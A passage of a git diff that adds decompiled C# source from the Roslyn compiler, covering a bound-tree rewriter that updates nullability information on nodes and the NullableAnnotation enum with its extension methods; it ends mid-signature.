VisitArrayCreation(BoundArrayCreation node) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray bounds = VisitList(node.Bounds); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + BoundArrayCreation boundArrayCreation; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundArrayCreation = node.Update(bounds, initializerOpt, value.Item2); + (boundArrayCreation.TopLevelNullability, _) = value; + } + else + { + boundArrayCreation = node.Update(bounds, initializerOpt, node.Type); + } + return boundArrayCreation; + } + + public override BoundNode? VisitArrayInitialization(BoundArrayInitialization node) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray initializers = VisitList(node.Initializers); + BoundArrayInitialization boundArrayInitialization; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundArrayInitialization = node.Update(node.IsInferred, initializers); + (boundArrayInitialization.TopLevelNullability, _) = value; + } + else + { + boundArrayInitialization = node.Update(node.IsInferred, initializers); + } + return boundArrayInitialization; + } + + public override BoundNode? VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.ElementType); + BoundExpression count = (BoundExpression)Visit(node.Count); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + BoundStackAllocArrayCreation boundStackAllocArrayCreation; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundStackAllocArrayCreation = node.Update(updatedSymbol, count, initializerOpt, value.Item2); + (boundStackAllocArrayCreation.TopLevelNullability, _) = value; + } + else + { + boundStackAllocArrayCreation = node.Update(updatedSymbol, count, initializerOpt, node.Type); + } + return boundStackAllocArrayCreation; + } + + public override BoundNode? VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.ElementType); + BoundExpression count = (BoundExpression)Visit(node.Count); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)Visit(node.InitializerOpt); + BoundConvertedStackAllocExpression boundConvertedStackAllocExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundConvertedStackAllocExpression = node.Update(updatedSymbol, count, initializerOpt, value.Item2); + (boundConvertedStackAllocExpression.TopLevelNullability, _) = value; + } + else + { + boundConvertedStackAllocExpression = node.Update(updatedSymbol, count, initializerOpt, node.Type); + } + return boundConvertedStackAllocExpression; + } + + public override BoundNode? VisitFieldAccess(BoundFieldAccess node) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol updatedSymbol = GetUpdatedSymbol(node, node.FieldSymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundFieldAccess boundFieldAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundFieldAccess = node.Update(receiverOpt, updatedSymbol, node.ConstantValueOpt, node.ResultKind, node.IsByValue, node.IsDeclaration, value.Item2); + (boundFieldAccess.TopLevelNullability, _) = value; + } + else + { + boundFieldAccess = node.Update(receiverOpt, updatedSymbol, node.ConstantValueOpt, node.ResultKind, node.IsByValue, node.IsDeclaration, node.Type); + } + return boundFieldAccess; + } + + public override BoundNode? VisitHoistedFieldAccess(BoundHoistedFieldAccess node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol updatedSymbol = GetUpdatedSymbol(node, node.FieldSymbol); + BoundHoistedFieldAccess boundHoistedFieldAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundHoistedFieldAccess = node.Update(updatedSymbol, value.Item2); + (boundHoistedFieldAccess.TopLevelNullability, _) = value; + } + else + { + boundHoistedFieldAccess = node.Update(updatedSymbol, node.Type); + } + return boundHoistedFieldAccess; + } + + public override BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.PropertySymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundPropertyAccess boundPropertyAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundPropertyAccess = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, node.ResultKind, value.Item2); + (boundPropertyAccess.TopLevelNullability, _) = value; + } + else + { + boundPropertyAccess = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, node.ResultKind, node.Type); + } + return boundPropertyAccess; + } + + public override BoundNode? VisitEventAccess(BoundEventAccess node) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + EventSymbol updatedSymbol = GetUpdatedSymbol(node, node.EventSymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + BoundEventAccess boundEventAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundEventAccess = node.Update(receiverOpt, updatedSymbol, node.IsUsableAsField, node.ResultKind, value.Item2); + (boundEventAccess.TopLevelNullability, _) = value; + } + else + { + boundEventAccess = node.Update(receiverOpt, updatedSymbol, node.IsUsableAsField, node.ResultKind, node.Type); + } + return boundEventAccess; + } + + public override BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + PropertySymbol updatedSymbol = GetUpdatedSymbol(node, node.Indexer); + GetUpdatedArray(node, node.OriginalIndexersOpt); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + ImmutableArray arguments = VisitList(node.Arguments); + BoundIndexerAccess boundIndexerAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundIndexerAccess = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.OriginalIndexersOpt, value.Item2); + (boundIndexerAccess.TopLevelNullability, _) = value; + } + else + { + boundIndexerAccess = node.Update(receiverOpt, node.InitialBindingReceiverIsSubjectToCloning, updatedSymbol, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.Expanded, node.ArgsToParamsOpt, node.DefaultArguments, node.OriginalIndexersOpt, node.Type); + } + return boundIndexerAccess; + } + + public override BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundInlineArrayAccess boundInlineArrayAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundInlineArrayAccess = node.Update(expression, argument, node.IsValue, node.GetItemOrSliceHelper, value.Item2); + (boundInlineArrayAccess.TopLevelNullability, _) = value; + } + else + { + boundInlineArrayAccess = node.Update(expression, argument, node.IsValue, node.GetItemOrSliceHelper, node.Type); + } + return boundInlineArrayAccess; + } + + public override BoundNode? VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray updatedArray = GetUpdatedArray(node, node.ApplicableIndexers); + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + ImmutableArray arguments = VisitList(node.Arguments); + BoundDynamicIndexerAccess boundDynamicIndexerAccess; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundDynamicIndexerAccess = node.Update(receiver, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, updatedArray, value.Item2); + (boundDynamicIndexerAccess.TopLevelNullability, _) = value; + } + else + { + boundDynamicIndexerAccess = node.Update(receiver, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, updatedArray, node.Type); + } + return boundDynamicIndexerAccess; + } + + public override BoundNode? VisitLambda(BoundLambda node) + { + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + LambdaSymbol updatedSymbol = GetUpdatedSymbol(node, node.Symbol); + UnboundLambda unboundLambda = node.UnboundLambda; + BoundBlock body = (BoundBlock)Visit(node.Body); + BoundLambda boundLambda; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundLambda = node.Update(unboundLambda, updatedSymbol, body, node.Diagnostics, node.Binder, value.Item2); + (boundLambda.TopLevelNullability, _) = value; + } + else + { + boundLambda = node.Update(unboundLambda, updatedSymbol, body, node.Diagnostics, node.Binder, node.Type); + } + return boundLambda; + } + + public override BoundNode? VisitUnboundLambda(UnboundLambda node) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + FunctionTypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.FunctionType); + UnboundLambda unboundLambda; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + unboundLambda = node.Update(node.Data, updatedSymbol, node.WithDependencies); + (unboundLambda.TopLevelNullability, _) = value; + } + else + { + unboundLambda = node.Update(node.Data, updatedSymbol, node.WithDependencies); + } + return unboundLambda; + } + + public override BoundNode? VisitQueryClause(BoundQueryClause node) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + RangeVariableSymbol updatedSymbol = GetUpdatedSymbol(node, node.DefinedSymbol); + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundExpression operation = node.Operation; + BoundExpression cast = node.Cast; + BoundExpression unoptimizedForm = node.UnoptimizedForm; + BoundQueryClause boundQueryClause; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value2)) + { + boundQueryClause = node.Update(value, updatedSymbol, operation, cast, node.Binder, unoptimizedForm, value2.Item2); + (boundQueryClause.TopLevelNullability, _) = value2; + } + else + { + boundQueryClause = node.Update(value, updatedSymbol, operation, cast, node.Binder, unoptimizedForm, node.Type); + } + return boundQueryClause; + } + + public override BoundNode? VisitNameOfOperator(BoundNameOfOperator node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression argument = (BoundExpression)Visit(node.Argument); + BoundNameOfOperator boundNameOfOperator; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundNameOfOperator = node.Update(argument, node.ConstantValueOpt, value.Item2); + (boundNameOfOperator.TopLevelNullability, _) = value; + } + else + { + boundNameOfOperator = node.Update(argument, node.ConstantValueOpt, node.Type); + } + return boundNameOfOperator; + } + + public override BoundNode? VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parts = VisitList(node.Parts); + BoundUnconvertedInterpolatedString boundUnconvertedInterpolatedString; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundUnconvertedInterpolatedString = node.Update(parts, node.ConstantValueOpt, value.Item2); + (boundUnconvertedInterpolatedString.TopLevelNullability, _) = value; + } + else + { + boundUnconvertedInterpolatedString = node.Update(parts, node.ConstantValueOpt, node.Type); + } + return boundUnconvertedInterpolatedString; + } + + public override BoundNode? VisitInterpolatedString(BoundInterpolatedString node) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parts = VisitList(node.Parts); + BoundInterpolatedString boundInterpolatedString; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundInterpolatedString = node.Update(node.InterpolationData, parts, node.ConstantValueOpt, value.Item2); + (boundInterpolatedString.TopLevelNullability, _) = value; + } + else + { + boundInterpolatedString = node.Update(node.InterpolationData, parts, node.ConstantValueOpt, node.Type); + } + return boundInterpolatedString; + } + + public override BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundInterpolatedStringHandlerPlaceholder boundInterpolatedStringHandlerPlaceholder = node.Update(value.Item2); + (boundInterpolatedStringHandlerPlaceholder.TopLevelNullability, _) = value; + return boundInterpolatedStringHandlerPlaceholder; + } + + public override BoundNode? VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundInterpolatedStringArgumentPlaceholder boundInterpolatedStringArgumentPlaceholder = node.Update(node.ArgumentIndex, value.Item2); + (boundInterpolatedStringArgumentPlaceholder.TopLevelNullability, _) = value; + return boundInterpolatedStringArgumentPlaceholder; + } + + public override BoundNode? VisitStringInsert(BoundStringInsert node) + { + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundExpression alignment = (BoundExpression)Visit(node.Alignment); + BoundLiteral format = (BoundLiteral)Visit(node.Format); + BoundStringInsert boundStringInsert; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value2)) + { + boundStringInsert = node.Update(value, alignment, format, node.IsInterpolatedStringHandlerAppendCall); + (boundStringInsert.TopLevelNullability, _) = value2; + } + else + { + boundStringInsert = node.Update(value, alignment, format, node.IsInterpolatedStringHandlerAppendCall); + } + return boundStringInsert; + } + + public override BoundNode? VisitIsPatternExpression(BoundIsPatternExpression node) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + BoundIsPatternExpression boundIsPatternExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundIsPatternExpression = node.Update(expression, pattern, node.IsNegated, reachabilityDecisionDag, node.WhenTrueLabel, node.WhenFalseLabel, value.Item2); + (boundIsPatternExpression.TopLevelNullability, _) = value; + } + else + { + boundIsPatternExpression = node.Update(expression, pattern, node.IsNegated, reachabilityDecisionDag, node.WhenTrueLabel, node.WhenFalseLabel, node.Type); + } + return boundIsPatternExpression; + } + + public override BoundNode? VisitConstantPattern(BoundConstantPattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(value, node.ConstantValue, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitDiscardPattern(BoundDiscardPattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + return node.Update(updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitDeclarationPattern(BoundDeclarationPattern node) + { + Symbol updatedSymbol = GetUpdatedSymbol(node, node.Variable); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol3 = GetUpdatedSymbol(node, node.NarrowedType); + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + return node.Update(declaredType, node.IsVar, updatedSymbol, variableAccess, updatedSymbol2, updatedSymbol3); + } + + public override BoundNode? VisitRecursivePattern(BoundRecursivePattern node) + { + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.DeconstructMethod); + Symbol updatedSymbol2 = GetUpdatedSymbol(node, node.Variable); + TypeSymbol updatedSymbol3 = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol4 = GetUpdatedSymbol(node, node.NarrowedType); + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + ImmutableArray deconstruction = VisitList(node.Deconstruction); + ImmutableArray properties = VisitList(node.Properties); + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + return node.Update(declaredType, updatedSymbol, deconstruction, properties, node.IsExplicitNotNullTest, updatedSymbol2, variableAccess, updatedSymbol3, updatedSymbol4); + } + + public override BoundNode? VisitListPattern(BoundListPattern node) + { + Symbol updatedSymbol = GetUpdatedSymbol(node, node.Variable); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol3 = GetUpdatedSymbol(node, node.NarrowedType); + ImmutableArray subpatterns = VisitList(node.Subpatterns); + BoundExpression lengthAccess = node.LengthAccess; + BoundExpression indexerAccess = node.IndexerAccess; + BoundListPatternReceiverPlaceholder receiverPlaceholder = node.ReceiverPlaceholder; + BoundListPatternIndexPlaceholder argumentPlaceholder = node.ArgumentPlaceholder; + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + return node.Update(subpatterns, node.HasSlice, lengthAccess, indexerAccess, receiverPlaceholder, argumentPlaceholder, updatedSymbol, variableAccess, updatedSymbol2, updatedSymbol3); + } + + public override BoundNode? VisitSlicePattern(BoundSlicePattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundExpression indexerAccess = node.IndexerAccess; + BoundSlicePatternReceiverPlaceholder receiverPlaceholder = node.ReceiverPlaceholder; + BoundSlicePatternRangePlaceholder argumentPlaceholder = node.ArgumentPlaceholder; + return node.Update(pattern, indexerAccess, receiverPlaceholder, argumentPlaceholder, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitITuplePattern(BoundITuplePattern node) + { + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.GetLengthMethod); + MethodSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.GetItemMethod); + TypeSymbol updatedSymbol3 = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol4 = GetUpdatedSymbol(node, node.NarrowedType); + ImmutableArray subpatterns = VisitList(node.Subpatterns); + return node.Update(updatedSymbol, updatedSymbol2, subpatterns, updatedSymbol3, updatedSymbol4); + } + + public override BoundNode? VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + Symbol updatedSymbol = GetUpdatedSymbol(node, node.Symbol); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + return node.Update(updatedSymbol, pattern); + } + + public override BoundNode? VisitPropertySubpatternMember(BoundPropertySubpatternMember node) + { + Symbol updatedSymbol = GetUpdatedSymbol(node, node.Symbol); + BoundPropertySubpatternMember receiver = (BoundPropertySubpatternMember)Visit(node.Receiver); + return node.Update(receiver, updatedSymbol, node.Type); + } + + public override BoundNode? VisitTypePattern(BoundTypePattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + return node.Update(declaredType, node.IsExplicitNotNullTest, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitBinaryPattern(BoundBinaryPattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundPattern left = (BoundPattern)Visit(node.Left); + BoundPattern right = (BoundPattern)Visit(node.Right); + return node.Update(node.Disjunction, left, right, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitNegatedPattern(BoundNegatedPattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundPattern negated = (BoundPattern)Visit(node.Negated); + return node.Update(negated, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitRelationalPattern(BoundRelationalPattern node) + { + TypeSymbol updatedSymbol = GetUpdatedSymbol(node, node.InputType); + TypeSymbol updatedSymbol2 = GetUpdatedSymbol(node, node.NarrowedType); + BoundExpression value = (BoundExpression)Visit(node.Value); + return node.Update(node.Relation, value, node.ConstantValue, updatedSymbol, updatedSymbol2); + } + + public override BoundNode? VisitDiscardExpression(BoundDiscardExpression node) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + if (!_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + return node; + } + BoundDiscardExpression boundDiscardExpression = node.Update(node.NullableAnnotation, node.IsInferred, value.Item2); + (boundDiscardExpression.TopLevelNullability, _) = value; + return boundDiscardExpression; + } + + public override BoundNode? VisitThrowExpression(BoundThrowExpression node) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundThrowExpression boundThrowExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundThrowExpression = node.Update(expression, value.Item2); + (boundThrowExpression.TopLevelNullability, _) = value; + } + else + { + boundThrowExpression = node.Update(expression, node.Type); + } + return boundThrowExpression; + } + + public override BoundNode? VisitOutVariablePendingInference(OutVariablePendingInference node) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + Symbol updatedSymbol = GetUpdatedSymbol(node, node.VariableSymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + OutVariablePendingInference outVariablePendingInference; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + outVariablePendingInference = node.Update(updatedSymbol, receiverOpt); + (outVariablePendingInference.TopLevelNullability, _) = value; + } + else + { + outVariablePendingInference = node.Update(updatedSymbol, receiverOpt); + } + return outVariablePendingInference; + } + + public override BoundNode? VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + Symbol updatedSymbol = GetUpdatedSymbol(node, node.VariableSymbol); + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + DeconstructionVariablePendingInference deconstructionVariablePendingInference; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + deconstructionVariablePendingInference = node.Update(updatedSymbol, receiverOpt); + (deconstructionVariablePendingInference.TopLevelNullability, _) = value; + } + else + { + deconstructionVariablePendingInference = node.Update(updatedSymbol, receiverOpt); + } + return deconstructionVariablePendingInference; + } + + public override BoundNode? VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Symbol updatedSymbol = GetUpdatedSymbol(node, node.VariableSymbol); + OutDeconstructVarPendingInference outDeconstructVarPendingInference; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + outDeconstructVarPendingInference = node.Update(updatedSymbol, node.IsDiscardExpression); + (outDeconstructVarPendingInference.TopLevelNullability, _) = value; + } + else + { + outDeconstructVarPendingInference = node.Update(updatedSymbol, node.IsDiscardExpression); + } + return outDeconstructVarPendingInference; + } + + public override BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + ImmutableArray updatedArray = GetUpdatedArray(node, node.Locals); + BoundStatement initializer = (BoundStatement)Visit(node.Initializer); + BoundBlock blockBody = (BoundBlock)Visit(node.BlockBody); + BoundBlock expressionBody = (BoundBlock)Visit(node.ExpressionBody); + return node.Update(updatedArray, initializer, blockBody, expressionBody); + } + + public override BoundNode? VisitExpressionWithNullability(BoundExpressionWithNullability node) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundExpressionWithNullability boundExpressionWithNullability; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundExpressionWithNullability = node.Update(expression, node.NullableAnnotation, value.Item2); + (boundExpressionWithNullability.TopLevelNullability, _) = value; + } + else + { + boundExpressionWithNullability = node.Update(expression, node.NullableAnnotation, node.Type); + } + return boundExpressionWithNullability; + } + + public override BoundNode? VisitWithExpression(BoundWithExpression node) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol updatedSymbol = GetUpdatedSymbol(node, node.CloneMethod); + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundObjectInitializerExpressionBase initializerExpression = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpression); + BoundWithExpression boundWithExpression; + if (_updatedNullabilities.TryGetValue(node, out (NullabilityInfo, TypeSymbol) value)) + { + boundWithExpression = node.Update(receiver, updatedSymbol, initializerExpression, value.Item2); + (boundWithExpression.TopLevelNullability, _) = value; + } + else + { + boundWithExpression = node.Update(receiver, updatedSymbol, initializerExpression, node.Type); + } + return boundWithExpression; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotation.cs new file mode 100644 index 0000000..a8ebd3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotation.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum NullableAnnotation : byte +{ + NotAnnotated, + Oblivious, + Annotated, + Ignored +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotationExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotationExtensions.cs new file mode 100644 index 0000000..e671e4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullableAnnotationExtensions.cs @@ -0,0 +1,161 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class NullableAnnotationExtensions +{ + public const byte NotAnnotatedAttributeValue = 1; + + public const byte AnnotatedAttributeValue = 2; + + public const byte ObliviousAttributeValue = 0; + + public static bool IsAnnotated(this NullableAnnotation annotation) + { + return annotation == NullableAnnotation.Annotated; + } + + public static bool IsNotAnnotated(this NullableAnnotation annotation) + { + return annotation == NullableAnnotation.NotAnnotated; + } + + public static bool IsOblivious(this NullableAnnotation annotation) + { + return annotation == NullableAnnotation.Oblivious; + } + + public static NullableAnnotation Join(this NullableAnnotation a, NullableAnnotation b) + { + if ((int)a >= (int)b) + { + return a; + } + return b; + } + + public static NullableAnnotation Meet(this NullableAnnotation a, NullableAnnotation b) + { + if ((int)a >= (int)b) + { + return b; + } + return a; + } + + public static NullableAnnotation EnsureCompatible(this NullableAnnotation a, NullableAnnotation b) + { + if (a != NullableAnnotation.Oblivious) + { + if (b == NullableAnnotation.Oblivious) + { + return a; + } + return ((int)a < (int)b) ? a : b; + } + return b; + } + + public static NullableAnnotation MergeNullableAnnotation(this NullableAnnotation a, NullableAnnotation b, VarianceKind variance) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected I4, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + return (int)variance switch + { + 2 => a.Meet(b), + 1 => a.Join(b), + 0 => a.EnsureCompatible(b), + _ => throw ExceptionUtilities.UnexpectedValue((object)variance), + }; + } + + internal static NullabilityInfo ToNullabilityInfo(this NullableAnnotation annotation, TypeSymbol type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if ((int)annotation == 0) + { + return default(NullabilityInfo); + } + return annotation.ToInternalAnnotation().ToNullabilityInfo(type); + } + + internal static NullabilityInfo ToNullabilityInfo(this NullableAnnotation annotation, TypeSymbol type) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + NullableFlowState state = TypeWithAnnotations.Create(type, annotation).ToTypeWithState().State; + return new NullabilityInfo(ToPublicAnnotation(type, annotation), state.ToPublicFlowState()); + } + + internal static ITypeSymbol GetPublicSymbol(this TypeWithAnnotations type) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return type.Type?.GetITypeSymbol(type.ToPublicAnnotation()); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray types) + { + return ImmutableArrayExtensions.SelectAsArray(types, (Func)((TypeWithAnnotations t) => t.GetPublicSymbol())); + } + + internal static NullableAnnotation ToPublicAnnotation(this TypeWithAnnotations 